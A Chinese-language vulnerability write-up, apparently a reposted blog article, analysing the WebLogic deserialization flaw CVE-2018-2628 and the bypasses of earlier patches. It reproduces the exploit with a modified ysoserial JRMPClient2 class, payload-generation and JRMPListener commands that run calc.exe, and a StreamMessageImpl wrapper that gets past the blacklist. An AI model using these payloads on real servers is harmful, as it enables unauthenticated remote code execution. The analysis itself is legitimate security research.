WebLogic反序列化漏洞的實例分析

今天就跟大家聊聊有關WebLogic反序列化漏洞的實例分析，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

漏洞簡介

2018年4月18日，Oracle官方發布了4月份的安全補丁更新CPU（Critical Patch Update），更新中修復了一個高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻擊者可以在未授權的情況下通過T3協議對存在漏洞的 WebLogic 組件進行遠程攻擊，并可獲取目標系統所有權限。

漏洞影響

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 反序列化漏洞歷程

這里簡單的說下幾個有公開利用方式的Weblogic反序列化漏洞。

CVE-2015-4852

2015年11月6日，FoxGlove Security 安全團隊的 @breenmachine 發布的一篇博客中介紹了如何利用Java反序列化和 Apache Commons Collections 這一基礎類庫來攻擊最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 這些大名鼎鼎的Java應用，實現遠程代碼執行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 庫來實現遠程代碼執行。查看了CVE-2015-4852的補?。╬21984589_1036_Generic），發現    Weblogic 采用的黑名單的形式來修復這個漏洞。

但是這種修復方式很被動，存在被繞過的風險，只要發現可用并且未在黑名單之外的反序列化類，那么之前的防護就會被打破，系統遭受攻擊。而后的漏洞也證明了這一點。

CVE-2016-0638

Weblogic的反序列化的點有著三個,黑名單ClassFilter.class也作用于這三個位置。

• weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream

• weblogic.rjvm.MsgAbbrevInputStream.class

• weblogic.iiop.Utils.class

有人發現利用weblogic.jms.common.StreamMessageImpl的 readExternal()也是可以進行反序列化操作的，而且這個不受黑名單限制，所以可以繞過了之前的補丁。

CVE-2016-3510

原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject，然后再對 MarshalledObject進行序列化，生成 payload 字節碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單里，可正常反序列化，在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化，這樣就逃過了黑名單的檢查。

CVE-2017-3248

Java遠程消息交換協議 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。

這個漏洞就是利用 RMI 機制的缺陷，通過 JRMP 協議達到執行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister，這將會序列化一個 RemoteObjectInvocationHandler，該RemoteObjectInvocationHandler使用UnicastRef建立到遠端的 TCP 連接獲取RMI registry。    此連接使用 JRMP 協議，因此客戶端將反序列化服務器響應的任何內容，從而實現未經身份驗證的遠程代碼執行。

CVE-2018-2628 漏洞分析

首先我們來看以下 CVE-2017-3248 這個漏洞的補?。╬24667634_1036_Generic），在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一個resolveProxyClass    ，這個resolveProxyClass只是對 RMI 接口類型進行了判斷，判斷 RMI 接口是否為java.rmi.registry.Registry，是的話拋出錯誤。        

仿照JRMPClient寫一個JRMPClient2，重新編譯。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}}

生成 payload：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

可以對比以下JRMPClient 和JRMPClient2 生成的 payload。    

除了 RMI 接口不一樣，其他都是一樣的。

JRMPLister開啟

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

我測試的 Weblogic 版本是10.3.6.0.170117，即已修復了CVE-2017-3248漏洞，在我本地的環境中，CommonsCollections這個 payload 已經失效了。Weblogic 的commons-collections.jar版本已經升級，所以我這里 payload 用的是Jdk7u21（這個 payload 只有在 JRE 版本小于等于 1.7u21 才起作用）。在commons-collections.jar版本沒有升級的    Weblogic 中，使用CommonsCollections 這個 payload 是可以的。

使用 t3 協議腳本發送 p_client2，可以看到JRMPLister有請求過來了，客戶端命令也執行成功了。

作為對比，將JRMPClient生成的 p_client 也發送過去，可以看到報錯信息Unauthorized proxy deserialization，正是黑名單攔截拋出的錯誤。

可見java.rmi.activation.Activator是繞過了CVE-2017-3248的補丁了。

另外一種繞過補丁的方式

這種方式是我在復現漏洞時嘗試 payload 的時候發現的，繞過的方式和CVE-2016-0638有關。

StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查。所以可以使用StreamMessageImpl將RemoteObjectInvocationHandler序列化，以此來繞過resolveProxyClass函數。相當于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 來繞過補丁。

將JRMPClient生成的 payloadObject 用StreamMessageImpl封裝生成新的 payload——p_stream。

    public static Object streamMessageImpl(byte[] object) throws Exception {StreamMessageImpl streamMessage = new StreamMessageImpl();streamMessage.setDataBuffer(object, object.length);return streamMessage;}

使用腳本發送，可以看到，成功執行了命令。    

CVE-2018-2628補丁分析

初步比對補丁(p27395085_1036_Generic)，發現WeblogicFilterConfig.class的黑名單多了一個sun.rmi.server.UnicastRef。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

但是根據我的實際測試，命令還是可以執行成功，貌似補丁沒起作用。    

看完上述內容，你們對WebLogic反序列化漏洞的實例分析有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。